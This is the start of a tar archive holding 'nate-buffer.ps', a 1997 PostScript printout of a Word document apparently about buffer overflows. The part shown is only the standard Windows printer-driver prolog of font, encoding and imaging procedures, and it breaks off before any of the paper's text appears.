buffer-overflows/ 40755 0 0 0 6405660551 12344 5ustar rootrootbuffer-overflows/nate-buffer.ps100644 0 0 2512510 6347415721 15273 0ustar rootroot%!PS-Adobe-3.0 %%Title: Microsoft Word - buffer.doc %%Creator: PSCRIPT.DRV Version 4.0 %%CreationDate: 06/07/97 13:58:37 %%BoundingBox: 13 13 599 780 %%Pages: (atend) %%PageOrder: Ascending %%Requirements: %%DocumentNeededFonts: (atend) %%DocumentSuppliedFonts: (atend) %%DocumentData: Clean7Bit %%LanguageLevel: 2 %%EndComments %%BeginProlog %%BeginProcSet: Pscript_Win_ErrorHandler 1.0 1 /currentpacking where{pop/oldpack currentpacking def/setpacking where{pop false setpacking}if}if/$brkpage 64 dict def $brkpage begin/prnt{dup type /stringtype ne{=string cvs}if dup length 6 mul/tx exch def/ty 10 def currentpoint/toy exch def/tox exch def 1 setgray newpath tox toy 2 sub moveto 0 ty rlineto tx 0 rlineto 0 ty neg rlineto closepath fill tox toy moveto 0 setgray show}bind def/nl{currentpoint exch pop lmargin exch moveto 0 -10 rmoveto}def/=={/cp 0 def typeprint nl}def/typeprint{dup type exec}readonly def /lmargin 72 def/rmargin 72 def/tprint{dup length cp add rmargin gt{nl/cp 0 def }if dup length cp add/cp exch def prnt}readonly def/cvsprint{=string cvs tprint( )tprint}readonly def/integertype{cvsprint}readonly def/realtype{ cvsprint}readonly def/booleantype{cvsprint}readonly def/operatortype{(--) tprint =string cvs tprint(-- )tprint}readonly def/marktype{pop(-mark- )tprint} readonly def/dicttype{pop(-dictionary- )tprint}readonly def/nulltype{pop (-null- )tprint}readonly def/filetype{pop(-filestream- )tprint}readonly def /savetype{pop(-savelevel- )tprint}readonly def/fonttype{pop(-fontid- )tprint} readonly def/nametype{dup xcheck not{(/)tprint}if cvsprint}readonly def /stringtype{dup rcheck{(\()tprint tprint(\))tprint}{pop(-string- )tprint} ifelse}readonly def/arraytype{dup rcheck{dup xcheck{({)tprint{typeprint}forall (})tprint}{([)tprint{typeprint}forall(])tprint}ifelse}{pop(-array- )tprint} ifelse}readonly def/packedarraytype{dup rcheck{dup xcheck{({)tprint{typeprint} forall(})tprint}{([)tprint{typeprint}forall(])tprint}ifelse}{pop (-packedarray- )tprint}ifelse}readonly def/courier/Courier findfont 10 scalefont def end errordict/handleerror{systemdict begin $error begin $brkpage begin newerror{/newerror false store vmstatus pop pop 0 ne{grestoreall}if showpage initgraphics courier setfont lmargin 720 moveto(ERROR: )prnt errorname prnt nl(OFFENDING COMMAND: )prnt/command load prnt $error/ostack known{nl nl(STACK:)prnt nl nl $error/ostack get aload length{==}repeat}if systemdict/showpage get exec(%%[ Error: )print errorname =print (; OffendingCommand: )print/command load =print( ]%%)= flush}if end end end} dup 0 systemdict put dup 4 $brkpage put bind readonly put/currentpacking where {pop/setpacking where{pop oldpack setpacking}if}if %%EndProcSet %%BeginProcSet: Pscript_Res_Emul 1.0 0 /defineresource where{pop}{userdict begin/defineresource{userdict/Resources 2 copy known{get begin}{15 dict dup begin put}ifelse exch readonly exch currentdict 1 index known not{dup 30 dict def}if load 3 -1 roll 2 index put end}bind readonly def/findresource{userdict/Resources get exch get exch get} bind readonly def/resourceforall{pop pop pop pop}bind readonly def /resourcestatus{userdict/Resources 2 copy known{get exch 2 copy known{get exch known{0 -1 true}{pop pop false}ifelse}{pop pop pop false}ifelse}{pop pop false }ifelse}bind readonly def end}ifelse %%EndProcSet %%BeginResource: procset Pscript_Win_Driver 2.0 0 /Pscript_Win_Driver 200 dict dup begin %%BeginResource: file Pscript_FatalError 2.0 0 /FatalErrorIf{{initgraphics findfont exch scalefont setfont counttomark 3 div cvi{moveto show}repeat showpage quit}{cleartomark}ifelse}bind def %%EndResource /VM? {vmstatus exch sub exch pop gt { [ (This job requires more memory than is available in this printer.) 100 500 (Try one or more of the following, and then print again:) 100 485 (In the PostScript dialog box, click Optimize For Portability.) 115 470 (In the Device Options dialog box, make sure the Available Printer Memory is accurate.) 115 455 (Reduce the number of fonts in the document.) 115 440 (Print the document in parts.) 115 425 12 /Times-Roman showpage (%%[ PrinterError: Low Printer VM ]%%) = true FatalErrorIf}if} bind def 30000 VM? %%BeginResource: file Pscript_Win_Utils 2.0 0 /|/def load def/,/load load |/~/exch , |/?/ifelse , |/!/pop , |/`/begin , |/^ /index , |/@/dup , |/+/translate , |/$/roll , |/U/userdict , |/M/moveto , |/- /rlineto , |/&/currentdict , |/:/gsave , |/;/grestore , |/F/false , |/T/true , |/N/newpath , |/E/end , |/Ac/arc , |/An/arcn , |/A/ashow , |/D/awidthshow , | /C/closepath , |/V/div , |/O/eofill , |/L/fill , |/I/lineto , |/-C/rcurveto , |/-M/rmoveto , |/+S/scale , |/Ji/setfont , |/Lc/setlinecap , |/Lj/setlinejoin , |/Lw/setlinewidth , |/S/show , |/LH/showpage , |/K/stroke , |/W/widthshow , |/R/rotate , |/b{bind |}bind |/bd{bind |}bind |/xd{~ |}bd/ld{, |}bd/lw/Lw ld /lc/Lc ld/lj/Lj ld/sg/setgray ld/L2? F/languagelevel where{! languagelevel 2 ge{! T}if}if |/g{@ not{U/DefIf_save save put}if U/DefIf_bool 2 ^ put}b /DefIf_El{if U/DefIf_bool get not @{U/DefIf_save get restore}if}b/e{DefIf_El ! }b/self & |/reinitialize{[/TextInit/GraphInit/UtilsInit counttomark{@ where{ self eq}{F}?{cvx exec}{!}?}repeat cleartomark}b/initialize{`{/ADO_mxRot ~ | /TextInitialised? F | reinitialize E}{U/Pscript_Win_Data 200 dict @ ` put /ADO_mxRot ~ |/TextInitialised? F | reinitialize}?}b/terminate{!{& self eq{ exit}{E}?}loop E}b/suspend/terminate , |/resume{` Pscript_Win_Data `}b/snap{ transform 0.25 sub round 0.25 add ~ 0.25 sub round 0.25 add ~ itransform}b /dsnap{dtransform round ~ round ~ idtransform}b<04>cvn{}|/setjn{{statusdict /jobname known{statusdict/jobname 3 -1 $ put}if}stopped cleartomark}b/solid{[] 0 setdash}b/setdsh{0 setdash}b/colspRefresh{}b/rp{4 2 $ M 1 ^ 0 - 0 ~ - neg 0 -}b/rr{1 ^ 0 - 0 ~ - neg 0 - C}b %%EndResource userdict /Level2ImagesError [ (This job contains a bitmapped image that can be printed only on) 100 500 (PostScript(R) Level 2 printers. Please send this file to a PostScript) 100 485 (Level 2 printer, or print your document again with the correct printer) 100 470 (selected.) 100 455 12 /Times-Roman ] put %%BeginResource: file Pscript_Win_Utils_L1 2.0 0 L2? not g{/rf{N rp L}b/fx{1 1 dtransform @ 0 ge{1 sub 1}{1 add -0.25}? 3 -1 $ @ 0 ge{1 sub 1}{1 add -0.25}? 3 1 $ 4 1 $ idtransform 4 -2 $ idtransform}b/BZ{ 4 -2 $ snap + +S fx rf}b/rs{N rp C K}b/rc{N rp clip N}b/sg{setgray}b/sco{ setrgbcolor}b/sgco{{sg}{sco}?}b}e %%EndResource %%BeginResource: file Pscript_Win_Utils_L2 2.0 0 L2? g{/colspA/DeviceGray |/colspABC/DeviceRGB |/setAorABC{{colspA}{colspABC}? setcolorspace}b/rf/rectfill , |/fx{1 1 dtransform @ 0 ge{1 sub 0.5}{1 add -0.5 }? 3 -1 $ @ 0 ge{1 sub 0.5}{1 add -0.5}? 3 1 $ 4 1 $ idtransform 4 -2 $ idtransform}b/BZ{4 -2 $ snap + +S fx rf}b/rs/rectstroke , |/rc/rectclip , |/sg {@ @ setcolor}b/sco{setcolor}b/colspRefresh{colspABC setcolorspace}b/sgco{{sg }{sco}?}b/UtilsInit{F setglobal}b/definecolorrendering{/ColorRendering defineresource !}b/findcolorrendering{@/ColorRendering resourcestatus{! ! /ColorRendering findresource T}{! F}?}b/selectcolorrendering{@/ColorRendering resourcestatus{! !/ColorRendering}{!/DefaultColorRendering/ColorRendering}? findresource setcolorrendering}b}e %%EndResource %%BeginResource: file Pscript_Win_Encoding 2.0 0 /bullets{{/bullet}repeat}b/ANSIEncoding[/grave/acute/circumflex/tilde/macron /breve/dotaccent/dieresis/ring/cedilla/hungarumlaut/ogonek/caron/dotlessi 18 bullets StandardEncoding 32 95 getinterval aload ! 3 bullets/quotesinglbase /florin/quotedblbase/ellipsis/dagger/daggerdbl/circumflex/perthousand/Scaron /guilsinglleft/OE 4 bullets/quoteleft/quoteright/quotedblleft/quotedblright /bullet/endash/emdash/tilde/trademark/scaron/guilsinglright/oe 2 bullets /Ydieresis/space/exclamdown/cent/sterling/currency/yen/brokenbar/section /dieresis/copyright/ordfeminine/guillemotleft/logicalnot/hyphen/registered /macron/degree/plusminus/twosuperior/threesuperior/acute/mu/paragraph /periodcentered/cedilla/onesuperior/ordmasculine/guillemotright/onequarter /onehalf/threequarters/questiondown/Agrave/Aacute/Acircumflex/Atilde/Adieresis /Aring/AE/Ccedilla/Egrave/Eacute/Ecircumflex/Edieresis/Igrave/Iacute /Icircumflex/Idieresis/Eth/Ntilde/Ograve/Oacute/Ocircumflex/Otilde/Odieresis /multiply/Oslash/Ugrave/Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls /agrave/aacute/acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute /ecircumflex/edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve /oacute/ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex /udieresis/yacute/thorn/ydieresis]| ANSIEncoding @ 39/quotesingle put 96/grave put/ANSIEncodingOld ANSIEncoding 256 array copy | ANSIEncodingOld @[138 153 154 169 172 174 177 178 179 181 185 188 189 190 208 215 221 222 240 247 253 254]{/bullet put @}forall 166/bar put 176/ring put %%EndResource %%BeginResource: file Pscript_Win_Text 2.0 0 /TextInit{TextInitialised? not{/Pscript_Windows_Font & |/TextInitialised? T | /fM[1 0 0 -1 0 0]|/mFM matrix |/iMat[1 0 0.212557 neg 1 0 0]|}if}b/xUP null | /yUP null |/uW null |/xSP null |/ySP null |/sW null |/copyfont{1 ^ length add dict `{1 ^/FID ne{|}{! !}?}forall & E}b/rF{3 copyfont @ `/Encoding ANSIEncoding &/CharStrings known{CharStrings/Eth known not{! ANSIEncodingOld} if}if | E}b/mF{findfont ~{@/Encoding get @ StandardEncoding eq{! T}{{ ISOLatin1Encoding}stopped{! F}{eq}?{T}{@ ` T 32 1 127{Encoding 1 ^ get StandardEncoding 3 -1 $ get eq and}for E}?}?}{F}?{rF}{3 copyfont}? ` /OrigFontType ~ |/OrigFontName ~ | & E 2 ^ ~ definefont fM 5 4 -1 $ put fM 4 0 put fM makefont Pscript_Windows_Font 3 1 $ put}b/xF{scalefont Pscript_Windows_Font 3 1 $ put}b/xMF{mFM astore makefont Pscript_Windows_Font 3 1 $ put}b/xF2/scalefont , |/xMF2{mFM astore makefont}b/sLT{: Lw -M currentpoint snap M 0 - 0 Lc K ;}b/sSU{N/uW ~ |/yUP ~ |/xUP ~ |}b/sU{xUP yUP uW sLT}b/sST{N/sW ~ |/ySP ~ |/xSP ~ |}b/sT{xSP ySP sW sLT}b/sR{: + R 0 0 M}b /sRxy{: matrix astore concat 0 0 M}b/eR/; , | %%EndResource %%BeginResource: file Pscript_Win_Text_Bold 2.0 0 /mBF{@ 4 copyfont `/FontName ~ |/OrigFontType ~ |/OrigFontName ~ | 0 FontMatrix idtransform ! &/PaintType known{PaintType 0 eq{/PaintType 2 | /StrokeWidth ~ |}{PaintType 1 eq PaintType 2 eq or PaintType 3 eq or & /StrokeWidth known and{StrokeWidth add/StrokeWidth ~ |}{!}?}?}{!}? @ & E definefont Pscript_Windows_Font 3 1 $ put}b/xBF{Pscript_Windows_Font ` 1 ^ /FontName get 1 ^ scalefont 3 1 $ scalefont 2 copy ~ | ~ ! | E}b/xMBF{mFM astore Pscript_Windows_Font ` 1 ^/FontName get 1 ^ makefont 3 1 $ makefont 2 copy ~ | ~ ! | E}b/xBF2{/sB0 ~ mBF/sB1 sB0 3 -1 $ xBF sB1}b/xMBF2{/sB0 ~ mBF mFM astore/sB1 sB0 3 -1 $ xMBF sB1}b/sB{: Pscript_Windows_Font currentfont get Ji @ S ; S}b/asB{: Pscript_Windows_Font currentfont get Ji 3 copy A ; A}b/wsB{ : Pscript_Windows_Font currentfont get Ji 4 copy W ; W}b/awsB{: Pscript_Windows_Font currentfont get Ji 6 copy D ; D}b/sBT3{: @ S ; 1 1 -M S}b /asBT3{: 3 copy A ; 1 1 -M A}b/wsBT3{: 4 copy W ; 1 1 -M W}b/awsBT3{: 6 copy D ; 1 1 -M D}b/mIF{iMat 4 3 -1 $ put 2 copyfont `/OrigFontType ~ |/OrigFontName ~ | @ & E definefont iMat makefont Pscript_Windows_Font 3 1 $ put}b %%EndResource %%BeginResource: file Pscript_Win_Graphics 2.0 0 /SavedCTM null |/CTMsave{/SavedCTM SavedCTM currentmatrix |}b/CTMrestore{ SavedCTM setmatrix}b/mp null |/ADO_mxRot null |/GDIHMatrix null | /GDIHPatternDict 22 dict | GDIHPatternDict `/PatternType 1 |/PaintType 2 | /Reps L2?{1}{5}? |/XStep 8 Reps mul |/YStep XStep |/BBox[0 0 XStep YStep]| /TilingType 1 |/PaintProc{` 1 Lw[]0 setdash PaintData , exec E}b/FGnd null | /BGnd null |/HS_Horizontal{horiz}b/HS_Vertical{vert}b/HS_FDiagonal{fdiag}b /HS_BDiagonal{biag}b/HS_Cross{horiz vert}b/HS_DiagCross{fdiag biag}b/MaxXYStep XStep YStep gt{XStep}{YStep}? |/horiz{Reps{0 4 M XStep 0 - 0 8 +}repeat 0 -8 Reps mul + K}b/vert{Reps{4 0 M 0 YStep - 8 0 +}repeat 0 -8 Reps mul + K}b/biag {Reps{0 0 M MaxXYStep @ - 0 YStep neg M MaxXYStep @ - 0 8 +}repeat 0 -8 Reps mul + 0 YStep M 8 8 - K}b/fdiag{Reps{0 0 M MaxXYStep @ neg - 0 YStep M MaxXYStep @ neg - 0 8 +}repeat 0 -8 Reps mul + MaxXYStep @ M 8 -8 - K}b E /makehatch{GDIHPatternDict/PaintData 3 -1 $ put CTMsave GDIHMatrix setmatrix GDIHPatternDict matrix mp CTMrestore ~ U ~ 2 ^ put}b/h0{/h0/HS_Horizontal makehatch}b/h1{/h1/HS_Vertical makehatch}b/h2{/h2/HS_FDiagonal makehatch}b/h3{ /h3/HS_BDiagonal makehatch}b/h4{/h4/HS_Cross makehatch}b/h5{/h5/HS_DiagCross makehatch}b/GDIBWPatternDict 17 dict @ `/PatternType 1 |/PaintType L2?{1}{2}? |/RepsV L2?{1}{6}? |/RepsH L2?{1}{5}? |/BBox[0 0 RepsH 1]|/TilingType 1 | /XStep 1 |/YStep 1 |/Height 8 RepsV mul |/Width 8 |/mx[Width 0 0 Height neg 0 Height]|/FGnd null |/BGnd null |/SetBGndFGnd L2?{{BGnd null ne{BGnd aload ! sgco BBox aload ! 2 ^ sub ~ 3 ^ sub ~ rf}if FGnd null ne{FGnd aload ! sgco}if} }{{}}? b/PaintProc{` SetBGndFGnd RepsH{Width Height F mx PaintData imagemask Width 0 +}repeat E}b E |/GDIBWPatternMx null |/pfprep{save 4 1 $ /PatternOfTheDay 4 1 $ GDIBWPatternDict `/PaintData ~ |/BGnd ~ |/FGnd ~ | E CTMsave GDIBWPatternMx setmatrix GDIBWPatternDict matrix mp CTMrestore ~ !}b /hrf null |/prf{pfprep ~ 6 1 $ 5 hrf restore}b/GraphInit{GDIHMatrix null eq{ /SavedCTM matrix | : ADO_mxRot concat 0 0 snap + : 0.48 @ GDIHPatternDict ` YStep mul ~ XStep mul ~ dsnap YStep V ~ XStep V ~ E +S/GDIHMatrix matrix currentmatrix readonly | ; : 0.24 -0.24 +S GDIBWPatternDict ` Width Height E dsnap +S/GDIBWPatternMx matrix currentmatrix readonly | ; ;}if}b/cirp{360 0 An C}b/ellp{CTMsave + +S 0.5 0 M 0 0 0.5 360 0 An C CTMrestore}b/rrp{/rad ~ |/y2 ~ |/x2 ~ |/y1 ~ |/x1 ~ | x2 x1 add 2 V y1 M x1 y1 x1 y2 rad arct x1 y2 x2 y2 rad arct x2 y2 x2 y1 rad arct x2 y1 x1 y1 rad arct C}b/RRp{CTMsave + +S/dyS ~ |/dxS ~ | dxS 2 V 0 M 0 0 0 dyS 0.5 arct 0 dyS dxS dyS 0.5 arct dxS dyS dxS 0 0.5 arct dxS 0 0 0 0.5 arct C CTMrestore}b %%EndResource %%BeginResource: file Pscript_Win_Graphics_L1 2.0 0 L2? not g{/arct{arcto ! ! ! !}b/GDIpattfill{@ ` BGnd null ne PaintType 2 eq and{: BGnd aload ! sgco fEOFill{O}{L}? ; FGnd aload ! U/fGray 2 ^ put{2}{4}? -1 $}if E @ patterncalc : 4 ^/PaintType get 2 eq{fGray{6 -1 $ sg}{8 -3 $ sco}? }if fEOFill{eoclip}{clip}? N patternfill ; N}b/hrf{/fGray 1 ^ 6 eq | -4 $ N rp C/fEOFill F | GDIpattfill}b/hfMain{/fEOFill ~ |/fGray ~ | GDIpattfill}b/hf{T hfMain}b/hfW{F hfMain}b/hs{currentpoint strokepath M hfW}b/pfMain{/fEOFill ~ | pfprep GDIpattfill restore N}b/pf{T pfMain}b/pfW{F pfMain}b/ps{currentpoint strokepath M pfW}b/mpstr 1 string |/mp{~ @ length 12 add dict copy ` /PatternCTM matrix currentmatrix |/PatternMatrix ~ |/PatWidth XStep mpstr length mul |/PatHeight YStep |/FontType 3 |/Encoding 256 array | 3 string 0 1 255{Encoding ~ @ 3 ^ cvs cvn put}for !/FontMatrix matrix |/FontBBox BBox | /BuildChar{! @ ` XStep 0 FontBBox aload ! setcachedevice/PaintProc , E : exec ;}b & E ~ @ 3 -1 $ definefont}b/patterncalc{` : PatternCTM setmatrix PatternMatrix concat BBox aload ! ! ! + pathbbox ; PatHeight V ceiling 4 1 $ PatWidth V ceiling 4 1 $ PatHeight V floor 4 1 $ PatWidth V floor 4 1 $ 2 ^ sub cvi abs ~ 3 ^ sub cvi abs ~ 4 2 $ PatHeight mul ~ PatWidth mul ~ E}b /patternfill{5 -1 $ @ ` Ji PatternCTM setmatrix PatternMatrix concat 0 2 ^ 2 ^ M 0 1 mpstr length 1 sub{1 ^ mpstr 3 1 $ put}for ! 2 ^{currentpoint 5 ^{mpstr S}repeat YStep add M}repeat ! ! ! ! E}b}e %%EndResource %%BeginResource: file Pscript_Win_Graphics_L2 2.0 0 L2? g{/mp/makepattern , |/hrf{6 eq setAorABC setpattern rectfill}b/hf{ setAorABC setpattern O}b/hfW{setAorABC setpattern L}b/hs{setAorABC setpattern K}b/pf{pfprep setpattern O restore N}b/pfW{pfprep setpattern L restore N}b/ps{ pfprep setpattern K restore N}b}e %%EndResource %%BeginResource: file Pscript_Win_BW_Images 2.0 0 /iw 0 |/ih 0 |/im_save 0 |/s 0 |/polarity 0 |/smoothflag 0 |/mystring 0 |/bpc 0 |/setup1asciiproc{[currentfile mystring/readhexstring cvx/! cvx]cvx bind}b /setup1binaryproc{[currentfile mystring/readstring cvx/! cvx]cvx bind}b /setup2asciiproc{currentfile/ASCII85Decode filter/RunLengthDecode filter}b /setup2binaryproc{currentfile/RunLengthDecode filter}b/mycolorspace{colspABC}| /myimagedict{/myimagedict 10 dict | myimagedict @ `/ImageType 1 | /MultipleDataSource F | E}b/imageprocarray[/setup1binaryproc/setup1asciiproc /setup2binaryproc/setup2asciiproc/setup1binarydecodeproc/setup1asciidecodeproc ]|/L2Polarity{{[1 0]}{[0 1]}?}b/Q{/im_save save | imageprocarray ~ get/s ~ , | L2Polarity/polarity ~ |/smoothflag ~ | snap +/dx 2 ^ |/dy 1 ^ | +S/mystring ~ string |/bpc ~ |/ih ~ |/iw ~ |}b/X{/im_save save | imageprocarray ~ get/s ~ , | L2Polarity/polarity ~ |/smoothflag ~ | snap +/dx 2 ^ |/dy 1 ^ | +S/mystring ~ string |/bpc ~ |/ih ~ |/iw ~ |}b/Z{im_save restore}b/Y{sgco myimagedict @ ` /Width iw |/Height ih |/Decode polarity |/ImageMatrix[iw 0 0 ih 0 0]| /DataSource s |/BitsPerComponent 1 |/Interpolate smoothflag | E imagemask}b %%EndResource %%BeginResource: file Pscript_Win_BW_Images_L1 2.0 0 L2? not g{/setup2asciiproc{[/Level2ImagesError , aload ! T FatalErrorIf}b /setup2binaryproc/setup2asciiproc , |/L2Polarity{}|/Y{sgco iw ih polarity[iw 0 0 ih 0 0]s imagemask}b}e %%EndResource %%BeginResource: file Pscript_Win_Co_Images_L1 2.0 0 L2? not g{/testsystemdict{where{systemdict eq{T}{F}?}{F}?}b/c 1 |/colorimage where{! T}{F}?{/c 0 statusdict `/processcolors where{! ! processcolors}{ /deviceinfo where{! deviceinfo/Colors known{!{deviceinfo/Colors get}}if}if}? E | c 0 ne{/colorimage testsystemdict/setcolortransfer testsystemdict /currentcolortransfer testsystemdict/currentcmykcolor testsystemdict and and and not{/c 0 |}if}if}if c @ 1 ne ~ @ 3 ne ~ 4 ne and and{/c 0 |}if c 1 eq g{ /expandbw{expandfactor mul round cvi bwclut ~ get 255 V}b/doclutimage{!/bwclut ~ | bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/expandfactor ~ |[/expandbw ,/exec , @ currenttransfer ~]cvx bind settransfer iw ih bpc[iw 0 0 ih 0 0]s image}b}e c @ 3 eq ~ 4 eq or g{/nullproc{{}}|/concatutil{/exec , 7 -1 $/exec ,}b/defsubclut{ 1 add getinterval |}b/spconcattransfer{/Dclut ~ |/Cclut ~ |/Bclut ~ |/Aclut ~ |/ncompute ~ , | currentcolortransfer[{Aclut ncompute}concatutil]cvx[{Bclut ncompute}concatutil]cvx[{Cclut ncompute}concatutil]cvx[{Dclut ncompute} concatutil]cvx setcolortransfer}b/setuprgbcluts{/bit3x rgbclut length 3 sub | /bit1x bit3x 3 idiv |/rclut rgbclut |/gclut rclut 1 bit3x defsubclut/bclut rclut 2 bit3x defsubclut}b}e c 3 eq g{/3compute{~ bit3x mul round cvi get 255 V}b/doclutimage{/rgbclut ~ | ! setuprgbcluts/3compute rclut gclut bclut @ spconcattransfer iw ih bpc[iw 0 0 ih 0 0][s/exec ,/@ , @]cvx nullproc nullproc T 3 colorimage}b}e c 4 eq g{/ftoint{1 ~ sub 255 mul round cvi}b/stuffclut{ cmykindex 3 -1 $ put}b/4compute{~ bit4x mul round cvi get 255 V}b /invalidcolortable? T |/computecmykclut{setuprgbcluts/bit4x rgbclut length 3 idiv 4 mul 4 sub |/cmykclut bit4x 4 add string |/cclut cmykclut |/mclut cclut 1 bit4x defsubclut/yclut cclut 2 bit4x defsubclut/kclut cclut 3 bit4x defsubclut/cmykindex 0 | 0 1 bit1x{@/cmykindex ~ bit1x ~ sub 4 mul | 3 mul @ rclut ~ get 255 V ~ @ gclut ~ get 255 V ~ bclut ~ get 255 V setrgbcolor currentcmykcolor ftoint kclut stuffclut ftoint yclut stuffclut ftoint mclut stuffclut ftoint cclut stuffclut}for}b/doclutimage{/rgbclut ~ | ! invalidcolortable?{computecmykclut}if/4compute cclut mclut yclut kclut spconcattransfer iw ih bpc[iw 0 0 ih 0 0][s/exec ,/@ , @ @]cvx nullproc nullproc nullproc T 4 colorimage}b}e c 0 eq g{/a{3 mul 3 getinterval putinterval ~ 3 add ~ 3 copy}b/8lookup/a , |/4lookup{/byte 1 ^ | -4 bitshift a byte 15 and a}b/2lookup{/byte 1 ^ | -6 bitshift a byte -4 bitshift 3 and a byte -2 bitshift 3 and a byte 3 and a}b/colorexpand{mystringexp 0 rgbclut 3 copy 7 -1 $/mylookup , forall ! ! ! ! !}b/createexpandstr{/mystringexp ~ mystring length mul string |}b/doclutimage{/rgbclut ~ | !/mylookup bpc 8 eq{3 createexpandstr/8lookup}{bpc 4 eq{6 createexpandstr/4lookup}{12 createexpandstr/2lookup}?}? , | iw ih bpc[iw 0 0 ih 0 0][s/exec ,/colorexpand ,/exec ,]cvx F 3 colorimage}b}e/colorimage where{! T}{F}? g{/do24image{iw ih 8 [iw 0 0 ih 0 0]s F 3 colorimage}b}DefIf_El{/rgbtogray{/str ~ |/len str length |/smlen len 3 idiv |/rstr str |/gstr str 1 len 1 sub getinterval |/bstr str 2 len 2 sub getinterval | str @ 0 1 smlen 1 sub{@ 3 mul rstr 1 ^ get 0.3 mul gstr 2 ^ get 0.59 mul add bstr 3 -1 $ get 0.11 mul add round cvi put @}for ! 0 smlen getinterval}b/do24image{iw ih 8[iw 0 0 ih 0 0][s/exec ,/rgbtogray ,/exec ,]cvx bind image}b}e/doNimage{bpc 24 eq{do24image}{iw ih bpc[iw 0 0 ih 0 0]s image}?}b}e %%EndResource %%BeginResource: file Pscript_Win_Co_Images_L2 2.0 0 L2? g{/doclutimage{/rgbclut ~ | ! bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/hival ~ |[ /Indexed colspABC hival rgbclut]setcolorspace myimagedict @ `/Width iw | /Height ih |/Decode[0 hival]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s | /BitsPerComponent bpc |/Interpolate smoothflag | E image}b/doCMYKclutimage{ /CMYKclut ~ | ! bpc @ 8 eq{! 255}{4 eq{15}{3}?}?/hival ~ |[/Indexed/DeviceCMYK hival CMYKclut]setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode[0 hival]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent bpc | /Interpolate smoothflag | E image}b/doNimage{bpc 24 eq{colspABC}{colspA}? setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode bpc 24 eq{[0 1 0 1 0 1]}{[0 1]}? |/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent bpc 24 eq{8}{bpc}? |/Interpolate smoothflag | E image}b/doCMYKimage{ /DeviceCMYK setcolorspace myimagedict @ `/Width iw |/Height ih |/Decode[0 1 0 1 0 1 0 1]|/ImageMatrix[iw 0 0 ih 0 0]|/DataSource s |/BitsPerComponent 8 | /Interpolate smoothflag | E image}b}e %%EndResource %%BeginResource: file Pscript_Win_Type3_Hdr 2.0 0 /GreNewFont{10 dict @ 3 1 $ | @ ` 4 1 $/FontType 3 |/FontMatrix ~ |/FontBBox ~ |/Encoding 256 array | 0 1 255{Encoding ~/.notdef put}for/CharProcs 257 dict | CharProcs/.notdef{}put/Metrics 257 dict | Metrics/.notdef 3 -1 $ put/BuildChar {/char ~ |/fontdict ~ |/charname fontdict/Encoding get char get | fontdict /Metrics get charname get aload ! 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0 get/BC ~ | BC 127 le{/BC BC 1 add | DC 1 DC BC add 1 sub{mystring ~ currentfile ss readhexstring ! 0 get put}for}{/BC 257 BC sub | currentfile ss readhexstring ! 0 get/pp ~ | DC 1 DC BC add 1 sub{mystring ~ pp put}for}?/DC DC BC add |}loop mystring}b/setup1asciidecodeproc{[/rledecodeascii cvx]cvx bind}b /setup1binarydecodeproc{[/rledecodebinary cvx]cvx bind}b %%BeginResource: file Pscript_Win_Compat 2.0 0 userdict/Pscript_Win_Compat 13 dict dup begin/bd{bind def}bind def/ld{load def }bd/CB{pop pop pop pop}bind def/B{pop pop pop pop}bind def/$x matrix def/SS{ /pagesave save def}bind def/RS{/pagesave where{pop pagesave restore}{$x matrix invertmatrix concat}ifelse}bind def/ANSIVec[0/grave 1/acute 2/circumflex 3 /tilde 4/macron 5/breve 6/dotaccent 7/dieresis 8/ring 9/cedilla 10 /hungarumlaut 11/ogonek 12/caron 13/dotlessi 39/quotesingle 96/grave 124/bar 130/quotesinglbase 131/florin 132/quotedblbase 133/ellipsis 134/dagger 135 /daggerdbl 136/circumflex 137/perthousand 138/Scaron 139/guilsinglleft 140/OE 145/quoteleft 146/quoteright 147/quotedblleft 148/quotedblright 149/bullet 150 /endash 151/emdash 152/tilde 153/trademark 154/scaron 155/guilsinglright 156 /oe 159/Ydieresis 160/space 161/exclamdown 164/currency 165/yen 166/brokenbar 167/section 168/dieresis 169/copyright 170/ordfeminine 171/guillemotleft 172 /logicalnot 173/hyphen 174/registered 175/macron 176/degree 177/plusminus 178 /twosuperior 179/threesuperior 180/acute 181/mu 182/paragraph 183 /periodcentered 184/cedilla 185/onesuperior 186/ordmasculine 187 /guillemotright 188/onequarter 189/onehalf 190/threequarters 191/questiondown 192/Agrave 193/Aacute 194/Acircumflex 195/Atilde 196/Adieresis 197/Aring 198 /AE 199/Ccedilla 200/Egrave 201/Eacute 202/Ecircumflex 203/Edieresis 204 /Igrave 205/Iacute 206/Icircumflex 207/Idieresis 208/Eth 209/Ntilde 210/Ograve 211/Oacute 212/Ocircumflex 213/Otilde 214/Odieresis 215/multiply 216/Oslash 217/Ugrave 218/Uacute 219/Ucircumflex 220/Udieresis 221/Yacute 222/Thorn 223 /germandbls 224/agrave 225/aacute 226/acircumflex 227/atilde 228/adieresis 229 /aring 230/ae 231/ccedilla 232/egrave 233/eacute 234/ecircumflex 235/edieresis 236/igrave 237/iacute 238/icircumflex 239/idieresis 240/eth 241/ntilde 242 /ograve 243/oacute 244/ocircumflex 245/otilde 246/odieresis 247/divide 248 /oslash 249/ugrave 250/uacute 251/ucircumflex 252/udieresis 253/yacute 254 /thorn 255/ydieresis]def currentdict{dup type/operatortype eq{[exch]cvx def}{ pop pop}ifelse}forall/initialize{currentdict exch begin begin}bind def /terminate{/@FL where not{pop end end}{pop}ifelse}bind def/suspend/terminate load def/resume/initialize load def/M/moveto load def end put/Courier findfont 10 scalefont setfont %%EndResource end /ProcSet defineresource pop %%EndResource %%EndProlog %%BeginSetup Pscript_Win_Compat dup /initialize get exec [ 1.000 0 0 1.000 0 0 ] false /Pscript_Win_Driver /ProcSet findresource dup /initialize get exec [{0 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict dup/JobTimeout 4 -1 roll put setuserparams}{statusdict/setjobtimeout get exec}ifelse } stopped cleartomark [{240 /languagelevel where{pop languagelevel}{1}ifelse 2 ge{1 dict 